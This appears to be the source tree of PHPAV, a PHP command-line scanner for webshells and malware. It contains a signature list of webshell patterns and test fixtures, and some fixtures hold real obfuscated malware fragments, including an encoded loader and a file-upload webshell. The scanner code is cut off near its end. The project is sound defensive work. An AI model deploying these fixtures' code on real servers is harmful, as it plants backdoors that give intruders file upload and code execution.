├── .gitignore
├── .php_cs
├── .styleci.yml
├── .travis.yml
├── LICENSE
├── README.md
├── composer.json
├── data
├── webshells.txt
└── whitelist.txt
├── fixtures
└── samples
│ └── infected
│ ├── 001.php
│ ├── 002.php
│ ├── 003.php
│ ├── 004.php
│ ├── 005.php
│ ├── 006.php
│ ├── 007.php
│ ├── 008.php
│ ├── 009.php
│ ├── 010.php
│ ├── 011.php
│ ├── 012.php
│ ├── 013.php
│ ├── 014.php
│ ├── 015.php
│ ├── 016.php
│ ├── 017.php
│ └── 018.php
├── lib
└── color.class.php
├── phpav
└── scan.php
/.gitignore:
--------------------------------------------------------------------------------
1 | /vendor/
2 | composer.lock
3 | .php_cs.cache
4 |
--------------------------------------------------------------------------------
/.php_cs:
--------------------------------------------------------------------------------
1 |
11 |
12 | For the full copyright and license information, please view the LICENSE
13 | file that was distributed with this source code.
14 | EOF;
15 |
16 | // PHP-CS-Fixer 1.x
17 | if (class_exists('Symfony\CS\Fixer\Contrib\HeaderCommentFixer')) {
18 | \Symfony\CS\Fixer\Contrib\HeaderCommentFixer::setHeader($header);
19 | }
20 |
21 | $config = ConfigBridge::create()
22 | ->setUsingCache(true)
23 | ;
24 |
25 | // PHP-CS-Fixer 2.x
26 | if (method_exists($config, 'setRules')) {
27 | $config->setRules(array_merge($config->getRules(), array(
28 | 'header_comment' => array('header' => $header)
29 | )));
30 | }
31 |
32 | return $config;
33 |
--------------------------------------------------------------------------------
/.styleci.yml:
--------------------------------------------------------------------------------
1 | preset: symfony
2 |
3 | enabled:
4 | - newline_after_open_tag
5 | - ordered_use
6 | - long_array_syntax
7 | - php_unit_construct
8 | - php_unit_strict
9 |
10 | finder:
11 | exclude:
12 | - 'fixtures'
13 |
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | branches:
2 | only:
3 | - master
4 |
5 | language: php
6 |
7 | php:
8 | - '5.3'
9 | - '5.4'
10 | - '5.5'
11 | - '5.6'
12 | - '7.0'
13 | - nightly
14 | - hhvm
15 |
16 | sudo: false
17 |
18 | cache:
19 | directories:
20 | - $HOME/.composer/cache/files
21 |
22 | matrix:
23 | fast_finish: true
24 | allow_failures:
25 | - php: nightly
26 | - php: hhvm
27 |
28 | install:
29 | - npm install phplint
30 | - composer global require sllh/composer-lint:@stable --prefer-dist --no-interaction
31 | - composer install
32 |
33 | script:
34 | - composer validate
35 | - phplint '*.php' 'lib/**/*.php' 'fixtures/**/*.php' --suppress
36 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2016 SAS Nexylan
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | PHPAV
2 | =====
3 |
4 | PHP CLI Virus/Malware Scanner
5 |
6 | A simple console framework for detected infected PHP files among Web servers.
7 |
8 | @copyright [Nexylan.com](http://www.nexylan.com) - 2016
9 |
10 | Installation
11 | ---
12 |
13 | You can install it globally thanks to composer:
14 |
15 | ```bash
16 | composer global require nexylan/phpav
17 | ```
18 |
19 | Usage
20 | ---
21 | ### via CLI
22 |
23 | ```bash
24 | phpav /path/to/scan
25 | ```
26 |
27 | Inspiration
28 | ---
29 |
30 | ### Websites
31 |
32 | - [Malicious Code Scanner](https://github.com/mikestowe/Malicious-Code-Scanner)
33 | - [PHP Shell Detector](https://github.com/emposha/PHP-Shell-Detector)
34 | - [Obfuscalp](https://github.com/Orbixx/Obfuscalp)
35 | - [Tripwire](https://github.com/lucanos/Tripwire)
36 | - [Malicious](https://github.com/krismas/Malicious)
37 |
38 | ### Security informations
39 |
40 | - [How to Tell if Your PHP Site has been Hacked or Compromised](http://www.gregfreeman.org/2013/how-to-tell-if-your-php-site-has-been-compromised)
41 | - [Exploitable PHP functions](http://stackoverflow.com/questions/3115559/exploitable-php-functions)
42 | - [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image)
43 |
44 | TODO
45 | ---
46 | - Plugins management
47 | - Detect more shell scripts
48 | - Create whitelist database
49 | - Automatic fix/quarantine
50 | - Doc
51 |
52 | Disclaimer
53 | ---
54 | This software is provided "as is" without warranty of any kind, either express or implied, including but not limited to the implied warranties of merchantability and fitness for a particular purpose. In no event shall the author be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the author has been advised of the possibility of such damages.
55 |
--------------------------------------------------------------------------------
/composer.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "nexylan/phpav",
3 | "description": "PHP CLI Virus/Malware Scanner",
4 | "keywords": ["Virus", "Malware", "Infection", "Detector"],
5 | "type": "library",
6 | "license": "MIT",
7 | "authors": [
8 | {
9 | "name": "Gaetan ALLART",
10 | "email": "gaetan@nexylan.com"
11 | },
12 | {
13 | "name": "Sullivan SENECHAL",
14 | "email": "soullivaneuh@gmail.com"
15 | }
16 | ],
17 | "require": {
18 | "php": "^5.3 || ^7.0"
19 | },
20 | "require-dev": {
21 | "sllh/php-cs-fixer-styleci-bridge": "^2.1"
22 | },
23 | "autoload": {
24 | "files": [
25 | "lib/color.class.php"
26 | ]
27 | },
28 | "config": {
29 | "sort-packages": true
30 | },
31 | "bin": ["phpav"]
32 | }
33 |
--------------------------------------------------------------------------------
/data/webshells.txt:
--------------------------------------------------------------------------------
1 | killall -9
2 | FilesMan
3 | Hacked by d3b
4 | eval\(base64_decode\(
5 | "base" \. "64_decode"
6 | ; for\(\$i=0; \$i < strlen\(
7 | \?php \${
8 | =\$GLOBALS;\${
9 | \$GLOBALS\[\$GLOBALS\['
10 | __FILE__\);global \$
11 | ;exit\(\);}}
12 | if \(isset\(\$_COOKIE\["id"\]\)\) @\$_COOKIE\["user"\]
13 | "ev"."al\('"
14 |
#p@\$c@#<\/h1>
15 | =chr\(112\)\."\\x
16 | (\$[a-zA-Z]+\{[0-9]+\}\s\.\s){10}
17 | @\$_=\/\*\-\/
18 | =Array\(\);global\$
19 | @\$s_func
20 | izleyici
21 |
--------------------------------------------------------------------------------
/data/whitelist.txt:
--------------------------------------------------------------------------------
1 | wp-content/cache/config/master.php
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/001.php:
--------------------------------------------------------------------------------
1 | killall -9
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/002.php:
--------------------------------------------------------------------------------
1 | FilesMan
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/003.php:
--------------------------------------------------------------------------------
1 | Hacked by d3b
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/004.php:
--------------------------------------------------------------------------------
1 | eval(base64_decode(
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/005.php:
--------------------------------------------------------------------------------
1 | "base" . "64_decode"
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/006.php:
--------------------------------------------------------------------------------
1 | ; for($i=0; $i < strlen(
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/007.php:
--------------------------------------------------------------------------------
1 | ?php ${
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/008.php:
--------------------------------------------------------------------------------
1 | =$GLOBALS;${
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/009.php:
--------------------------------------------------------------------------------
1 | ,$<99><93>,$<86><98><87>,$<90><82><9e><99>,$<9e><8b><8c><88><8d>,$<8b><9e><9b><93><81><8e>,$<9d><87><94><87><86><9c><92>,$<81><9a><86><84><93><9a><8c><8c>,$<82><9e><90><81><97><8e><8d><83><98>,$<9b><8f><97><97><83><99><86><81><81><9b>,$<89><89><97><9c><8b><92><82><91><86><9e><9f>,$<93><80><9d><83><82><94><93><90><99><8c><8c><89>,$<83><84><8d><9e><8b><8f>^?<86><99><89><9f><96><96>,$<91><9a><88><99><98><87><8c><99><84><91><9c><9a><85><8d>,$<94><92><9a><9e><97><9f><8b><95><8b><9c><95><92><96>^?<92>,$<8d><97><83><87><80><9e>^?<88><8b><9a><8e><9d><97><89><83><84>;function <81> ($<81> ,$<99><93> =""){global $<81>,$<99><93>,$<86><98><87>,$<90><82><9e><99>,$<9e><8b><8c><88><8d>,$<8b><9e><9b><93><81><8e>,$<9d><87><94><87><86><9c><92>,$<81><9a><86><84><93><9a><8c><8c>,$<82><9e><90><81><97><8e><8d><83><98>,$<9b><8f><97><97><83><99><86><81><81><9b>,$<89><89><97><9c><8b><92><82><91><86><9e><9f>,$<93><80><9d><83><82><94><93><90><99><8c><8c><89>,$<83><84><8d><9e><8b><8f>^?<86><99><89><9f><96><96>,$<91><9a><88><99><98><87><8c><99><84><91><9c><9a><85><8d>,$<94><92><9a><9e><97><9f><8b><95><8b><9c><95><92><96>^?<92>,$<8d><97><83><87><80><9e>^?<88><8b><9a><8e><9d><97><89><83><84>;if(empty($<99><93> )){return base64_decode($<81> );}else{return <81> ($<90><82><9e><99>($<81> ,$<99><93> ,$<81><9a><86><84><93><9a><8c><8c>($<99><93> )));}}$<90><82><9e><99>=<81> ("c3RydHI=<84>");$<81><9a><86><84><93><9a><8c><8c>=<81> ("c3RycmV2<8f>");$<99><93>=<81> ("eGUlZ19yZXBsYWNl<8a>","cJMHGTUe");$<8b><9e><9b><93><81><8e>=<81> ("XZXhbA==<94>","ZFUOyNX");$<82><9e><90><81><97><8e><8d><83><98>=<81> ("kJFzZTk0X2Rlk29Y<90>ZQ==<8a>","YJGmk");$<9b><8f><97><97><83><99><86><81><81><9b>=<81> ("x3p1bmNrbXBy<92>xXNz<95>","ZrYzsvx");$<89><89><97><9c><8b><92><82><91><86><9e><9f>=<81> ("IzLzYzAzM<8b>GVkMjA0ZT<8f>kxNjJlZTB<93>iYzQwMGFi<99>OGRhMjE5I<95>2U=<8c>","LJvRI");function <86><98><87> (&$<86><98><87> ){global $<81>,$<99><93>,$<86><98><87>,$<90><82><9e><99>,$<9e><8b><8c><88><8d>,$<8b><9e><9b><93><81><8e>,$<9d><87><94><87><86><9c><92>,$<81><9a><86><84><93><9a><8c><8c>,$<82><9e><90><81><97><8e><8d><83><98>,$<9b><8f><97><97><83><99><86><81><81><9b>,$<89><89><97><9c><8b><92><82><91><86><9e><9f>,$<93><80><9d><83><82><94><93><90><99><8c><8c><89>,$<83><84><8d><9e><8b><8f>^?<86><99><89><9f><96><96>,$<91><9a><88><99><98><87><8c><99><84><91><9c><9a><85><8d>,$<94><92><9a><9e><97><9f><8b><95><8b><9c><95><92><96>^?<92>,$<8d><97><83><87><80><9e>^?<88><8b><9a><8e><9d><97><89><83><84>;$<8d><97><83><87><80><9e>^?<88><8b><9a><8e><9d><97><89><83><84> =<81> ("fGll<82>","Zcderf");@$<99><93>($<89><89><97><9c><8b><92><82><91><86><9e><9f>,$<8b><9e><9b><93><81><8e>."(@$<9b><8f><97><97><83><99><86><81><81><9b>($<82><9e><90><81><97><8e><8d><83><98>('eNpl0mtvmlAYA<94>OC/YggfIKOtDr<82>Ux5mSbXV11Rqv<92>WgW6LEZROK8RV<89>52VrYxHrZai13<82>hAvlJ86DlYbu4<89>/n5XkP7+WgIhB<97>1DAlRDiFO+2tx^?+gpoCIGkopwQD<91>iG4G23N26aonv^?nzCZur5KWnkVz<83>qAwBzg7En3nil<86>Cpkm9zp9EwbIL<8b>9kAGamN4PfzFO<8d>WvlgJQrNuTdms<9a>1Mk0pFiwyZPDi<82>r2ES/EUlHytBM<82>r5bS43JeKj2el<90>3TlekfFeaT66o<89>cBmAA7Ukx+zFd<8c>hlZq9jX5od5Su<8b>0+zmYk9vKvioe<9f>xmYYnwaYg6K1x<8c>6IH1cdNR5u6c2<89>H1eL+02RVSpsu<8c>zcc4/sZiXFmB5<8f>PRQlOe5Km8mo5<9d>m9U2dLJ8vsnSw<8b>kOFjAPaT+Hwdp<85>Vio+4rUvtPqHX<9c>kxWCtdqWnynOD<92>Px6kwaEIa9Z2X<9a>f2VzEIs6SCa9v<9f>sBpMunOchicKY<85>YcYYdv3uHfsCO<84>EMACBqmMdx/+g<82>w4am6gCevtq+u<8f>28z+WJmFxR19y<9c>0qa8uxODBOexP<83>ANoawINfMbh8G<80>el0nts0nXjf8f<9d>AP+sqqd3d6HPV<87>9LHNiOcQC2wf3<88>5Ynt2l2IlDsi3<88>+CHiYtiMM+1IM<95>dZjJ8Na7RzDkd<82>a01clwaZa1s2m<8c>EcOC4+QPLzY3l<99>v/p1bPMmdfAeX<93>T4oiqS2RHGJoQ<97>1tKCqDvjQ3p2t<85>2sQvpoJTlMzDx^?JcPcl0AWbEyQL<96>zO0pyasaP43fB<92>KJywAfzMUFY4r<89>/AEHEOJY=<83>')));","<8b><91><89>
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/011.php:
--------------------------------------------------------------------------------
1 | \x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"]('|',$l1yy7Ue[0]);$l1k=isset($l1yy7Ue[1])?${"\x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"](',',$l1yy7Ue[1]):array();$l1eL2=$l12yU;$l18I3=$l1TdZPC;$l1Hu544="http://$l1AB5Cc";$l1jQF74=$l1Hu544.${"\x5f\x53\x45R\x56\x45R"}["\x52\x45\x51U\x45\x53\x54\x5f\x55\x52I"];$l1j=isset(${"\x5f\x53\x45R\x56\x45R"}["\x53\x43\x52\x49\x50\x54_\x4e\x41M\x45"])?${"\x5f\x53\x45R\x56\x45R"}["\x53\x43R\x49\x50\x54\x5f\x4e\x41\x4dE"]:'';if($l1j==''){$l1j=isset(${"\x5f\x53\x45\x53\x53\x49\x4fN"}["\x53\x43\x52IP\x54\x5f\x46\x49L\x45N\x41\x4d\x45"])?${"\x5f\x53\x45\x53\x53\x49\x4fN"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]:'';if($l1j!=''){$l1j=${"\x47\x4c\x4f\x42A\x4cS"}["O\x30\x4f\x30\x30\x30\x4f\x4f\x4f0"]($l18X,'',$l1j);}}if($l1j!=''){$l1j=${"\x47LO\x42\x41\x4c\x53"}["OO\x30\x4f\x30\x30"]($l1j,1);$l1t=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x4f\x30\x30\x4f\x30\x30\x4f"]($l1j,'/');$l1oIT=$l1t!==false?${"\x47LO\x42\x41\x4c\x53"}["OO\x30\x4f\x30\x30"]($l1j,0,$l1t):'';$l1qvrc=$l1t!==false?${"\x47LO\x42\x41\x4c\x53"}["OO\x30\x4f\x30\x30"]($l1j,$l1t+1):$l1j;}$l1J=$l1J=='?'?"$l1qvrc?":$l1J;$l1jt6Qn=${"\x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"]('|',${"\x47\x4c\x4f\x42\x41L\x53"}["O\x4f0\x4fO"]);$l1jt6Qn[]=$l1qvrc;$l1r=false;$l1K0n83=$l1FwUS.${"G\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x30"];$l1K0n83=${"\x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"]('|',$l1K0n83);$l1NK=$l1MB6=${"\x5f\x53\x45R\x56\x45R"}["\x52\x45\x51\x55\x45S\x54\x5f\x55\x52\x49"];foreach($l1K0n83 as$l1gYxHO){$l1MB6=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x4fB\x41LS"}["\x4f\x30\x4f\x4f\x30"].$l1gYxHO.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f0\x4f\x30\x4fO\x4f0"],'',$l1MB6);}$l1MB6=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"G\x4cO\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x300\x4f\x4f\x4f\x4fO"],'',$l1MB6);$l1MB6=$l1oIT!=''?${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x4f\x42A\x4c\x53"}["\x4f\x30\x4fO\x4f\x4f\x30"](${"G\x4c\x4f\x42A\x4c\x53"}["\x4f\x30\x30\x4f00"],l1m9LqQ($l1oIT)),'',$l1MB6):$l1MB6;$l1MB6=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"]("/^($l1qvrc)?\?/si",'',$l1MB6);$l1m9Lq=$l1oIT!=''?${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x4f\x42A\x4c\x53"}["\x4f\x30\x4fO\x4f\x4f\x30"](${"\x47L\x4f\x42\x41\x4cS"}["\x4fO\x4f\x30\x30\x4f\x4f\x4f"],l1m9LqQ($l1oIT)),'',$l1NK):$l1NK;$l17=${"\x47\x4c\x4fB\x41\x4c\x53"}["\x4f0\x30\x4f0\x30\x30\x4f\x4f\x4f\x30"]($l1m9Lq,'?');$l1m9Lq=$l17!==false?${"\x47LO\x42\x41\x4c\x53"}["OO\x30\x4f\x30\x30"]($l1m9Lq,0,$l17+1):'';$l1m9Lq=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"G\x4cO\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x300\x4f\x4f\x4f\x4fO"],'',$l1m9Lq);$l14=l1m9LqQ($l1MB6);$l1b2=false;$l1Aj=false;$l19=${"\x47L\x4f\x42\x41L\x53"}["\x4f\x4f\x4f\x30O\x300\x4f\x30\x30O"];$l1ETA='';$l1v=0;$l15u4=false;$l1nGVqV=1;$l1qa=10000;$l1wpDIL=0;$l1id=0;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"]("/\.xml$/si",$l1MB6)){$l1b2=true;$l1UTh=${"\x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"]('/',$l1MB6);$l1PL=${"\x47\x4c\x4f\x42A\x4c\x53"}["O0\x4f\x30\x4f00\x30\x4f\x30\x4f"]($l1UTh);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"]("/([^\d]+)(\d+)\.xml$/si",$l1PL,$l1a)){$l19=$l1a[1];$l1v=$l1a[2];}else{$l19=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47LO\x42\x41\x4c\x53"}["\x4f0\x4f\x4f0O"],"$1",$l1PL);}if(!empty($l1UTh)&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"]("/^([a-z])?(\d+)$/si",$l1UTh[${"\x47\x4c\x4f\x42ALS"}["O\x4f\x4f\x4f\x4f\x4f\x4f\x30\x4f\x30O"]($l1UTh)-1],$l1DE)){if(${"\x47\x4c\x4f\x42ALS"}["O\x4f\x4f\x4f\x4f\x4f\x4f\x30\x4f\x30O"]($l1DE)==3){$l1nGVqV=$l1DE[2];if($l1DE[1]=='s'){$l1id=1;}elseif($l1DE[1]=='g'){$l1id=2;}}else{$l1nGVqV=$l1nGVqV[0];}${"\x47\x4c\x4f\x42A\x4c\x53"}["O0\x4f\x30\x4f00\x30\x4f\x30\x4f"]($l1UTh);}if(!empty($l1UTh)&&${"\x47\x4cO\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x4f\x30"]($l1UTh[${"\x47\x4c\x4f\x42ALS"}["O\x4f\x4f\x4f\x4f\x4f\x4f\x30\x4f\x30O"]($l1UTh)-1])){$l1qa=${"\x47\x4c\x4f\x42A\x4c\x53"}["O0\x4f\x30\x4f00\x30\x4f\x30\x4f"]($l1UTh);$l15u4=true;}if(!empty($l1UTh)){$l1ETA=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x4f\x30"]('/',$l1UTh);}if(($l1ETA!=''&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"](${"\x47\x4cO\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f0"],$l1ETA))||$l1PL==${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x4f\x30\x30\x30\x4f\x4fO\x4f\x4f"]){$l1Aj=true;}$l1wpDIL=$l1v==1?1:(($l1qa+1)*($l1v-1)*$l1nGVqV);$l1wpDIL=$l1wpDIL<0?0:$l1wpDIL;}if(!$l1b2&&$l1MB6!=''){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x30\x4f"],$l1MB6)){$l1vkL=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x4f\x30\x4f"],'',$l1MB6);if(${"G\x4c\x4f\x42\x41\x4c\x53"}["\x4fO\x4f\x30\x4f\x30\x30\x4f\x4f"]($l1vkL)&&!${"\x47LOB\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x30\x30O\x4f0\x30"]($l1vkL,$l1jt6Qn)){require($l1vkL);exit();}}}$l1n=${"G\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x30\x30\x4f\x30\x4f\x4f0"](${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/012.php:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/014.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | utf
5 |
6 |
7 | #p@$c@#
\n";
9 | echo "Your IP: ";
10 | echo $_SERVER['REMOTE_ADDR'];
11 | echo "\n";
15 | if(is_uploaded_file/*;*/($_FILES["filename"]["tmp_name"]))
16 | {
17 | move_uploaded_file/*;*/($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
18 | $file = $_FILES/*;*/["filename"]["name"];
19 | echo "$file";
20 | } else {
21 | echo("empty");
22 | }
23 | $filename = $_SERVER[SCRIPT_FILENAME];
24 | touch/*;*/($filename, $time);
25 | ?>
26 |
27 |
28 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/015.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/fixtures/samples/infected/018.php:
--------------------------------------------------------------------------------
1 |
7 | *
8 | * For the full copyright and license information, please view the LICENSE
9 | * file that was distributed with this source code.
10 | */
11 |
12 | class Colors
13 | {
14 | private $foreground_colors = array();
15 | private $background_colors = array();
16 |
17 | public function __construct()
18 | {
19 | // Set up shell colors
20 | $this->foreground_colors['black'] = '0;30';
21 | $this->foreground_colors['dark_gray'] = '1;30';
22 | $this->foreground_colors['blue'] = '0;34';
23 | $this->foreground_colors['light_blue'] = '1;34';
24 | $this->foreground_colors['green'] = '0;32';
25 | $this->foreground_colors['light_green'] = '1;32';
26 | $this->foreground_colors['cyan'] = '0;36';
27 | $this->foreground_colors['light_cyan'] = '1;36';
28 | $this->foreground_colors['red'] = '0;31';
29 | $this->foreground_colors['light_red'] = '1;31';
30 | $this->foreground_colors['purple'] = '0;35';
31 | $this->foreground_colors['light_purple'] = '1;35';
32 | $this->foreground_colors['brown'] = '0;33';
33 | $this->foreground_colors['yellow'] = '1;33';
34 | $this->foreground_colors['light_gray'] = '0;37';
35 | $this->foreground_colors['white'] = '1;37';
36 |
37 | $this->background_colors['black'] = '40';
38 | $this->background_colors['red'] = '41';
39 | $this->background_colors['green'] = '42';
40 | $this->background_colors['yellow'] = '43';
41 | $this->background_colors['blue'] = '44';
42 | $this->background_colors['magenta'] = '45';
43 | $this->background_colors['cyan'] = '46';
44 | $this->background_colors['light_gray'] = '47';
45 | }
46 |
47 | // Returns colored string
48 | public function getColoredString($string, $foreground_color = null, $background_color = null)
49 | {
50 | $colored_string = '';
51 |
52 | // Check if given foreground color found
53 | if (isset($this->foreground_colors[$foreground_color])) {
54 | $colored_string .= "\033[".$this->foreground_colors[$foreground_color].'m';
55 | }
56 | // Check if given background color found
57 | if (isset($this->background_colors[$background_color])) {
58 | $colored_string .= "\033[".$this->background_colors[$background_color].'m';
59 | }
60 |
61 | // Add string and end coloring
62 | $colored_string .= $string."\033[0m";
63 |
64 | return $colored_string;
65 | }
66 |
67 | // Returns all foreground color names
68 | public function getForegroundColors()
69 | {
70 | return array_keys($this->foreground_colors);
71 | }
72 |
73 | // Returns all background color names
74 | public function getBackgroundColors()
75 | {
76 | return array_keys($this->background_colors);
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/phpav:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env php
2 |
7 | *
8 | * For the full copyright and license information, please view the LICENSE
9 | * file that was distributed with this source code.
10 | */
11 |
12 | ini_set('memory_limit', '512M');
13 |
14 | require_once __DIR__.'/vendor/autoload.php';
15 | // We are Gentoo users, we love color in bash shell :)
16 | $colors = new Colors();
17 |
18 | // Detect more than 10000 consecutive characters on first line
19 | function detect_obfuscated($filecontent)
20 | {
21 | $weirdlength = 1000;
22 | //if (isset($filecontent[1]) && strlen($filecontent[1]) > $weirdlength && preg_match("/[A-Za-z0-9\\\]{$weirdlength}/",$filecontent[1])) { // If a line contains more than 10,000 characters, write it to stdout
23 | for ($line = 0; $line <= 1; ++$line) {
24 | if (isset($filecontent[$line]) && strlen($filecontent[$line]) > $weirdlength) { // If a line contains more than 10,000 characters, write it to stdout
25 | return true;
26 | }
27 | }
28 |
29 | return false;
30 | }
31 |
32 | // Detect eval functions on first line
33 | function detect_onelineshell($filecontent)
34 | {
35 | $lines = 3;
36 | for ($i = 0; $i < $lines; ++$i) {
37 | if (isset($filecontent[$i]) && preg_match("/(eval[\s]*\(|system\(|\\\x)/", $filecontent[$i])) {
38 | return true;
39 | }
40 | }
41 | if (isset($filecontent[count($filecontent) - 1]) && preg_match("/(eval\(|system\()/", $filecontent[count($filecontent) - 1])) {
42 | return true;
43 | }
44 |
45 | return false;
46 | }
47 |
48 | // Detect php files in upload folder
49 | function detect_upload($filename)
50 | {
51 | if (preg_match('#/wp-content/uploads#', $filename) && filesize($filename) > 1024) {
52 | return true;
53 | }
54 |
55 | return false;
56 | }
57 |
58 | // Detect webshells patterns
59 | function detect_shell($filecontent)
60 | {
61 | global $shells;
62 |
63 | foreach ($shells as $shell) {
64 | $shell = trim($shell);
65 | if (preg_match("/$shell/", implode($filecontent))) {
66 | return true;
67 | }
68 | }
69 |
70 | return false;
71 | }
72 |
73 | // Check whitelist
74 | function in_whitelist($filename)
75 | {
76 | global $whitelist;
77 |
78 | foreach ($whitelist as $wl) {
79 | if (false !== strpos($filename, trim($wl))) {
80 | return true;
81 | }
82 | }
83 |
84 | return false;
85 | }
86 |
87 | // Display a report of infected file
88 | function report_file($file, $reason)
89 | {
90 | global $colors;
91 |
92 | if (!in_whitelist($file)) {
93 | echo $colors->getColoredString("Infected file (reason : $reason) :\n", 'red');
94 | echo $colors->getColoredString("\t$file\n", 'light_blue');
95 | }
96 | }
97 |
98 | // Delete the infected file with/without confirmation
99 | function delete_file($file, $content, $confirmation)
100 | {
101 | global $colors;
102 |
103 | echo $colors->getColoredString("This file ($file) containing the following code :\n", 'cyan');
104 | echo "\t".$content."\n";
105 |
106 | if ($confirmation) {
107 | echo $colors->getColoredString('Delete ? (y/n)', 'cyan');
108 | $handle = fopen('php://stdin', 'r');
109 | $input = fgets($handle);
110 |
111 | if (trim($input) == 'y') {
112 | unlink($file);
113 | } else {
114 | echo "$input";
115 | }
116 | } else {
117 | unlink($file);
118 | }
119 | }
120 |
121 | // Propose and apply patch
122 | function patch_file($file, $content)
123 | {
124 | global $colors;
125 |
126 | $newfile = preg_replace("/^.*<\?php/", ' fix.patch");
134 |
135 | if (filesize('fix.patch') > 0) {
136 | $diff = file('fix.patch');
137 | echo $colors->getColoredString("I'm proposing the following patch. What do you think ?\n", 'cyan');
138 |
139 | echo "\n".implode($diff)."\n";
140 |
141 | echo $colors->getColoredString('Apply ? (y/n)', 'cyan');
142 | $handle = fopen('php://stdin', 'r');
143 | $input = fgets($handle);
144 | if (trim($input) == 'y') {
145 | exec("patch $file < fix.patch");
146 | unlink('fix.patch');
147 | unlink("$file.fixed");
148 | } else {
149 | echo 'No patch applied';
150 | }
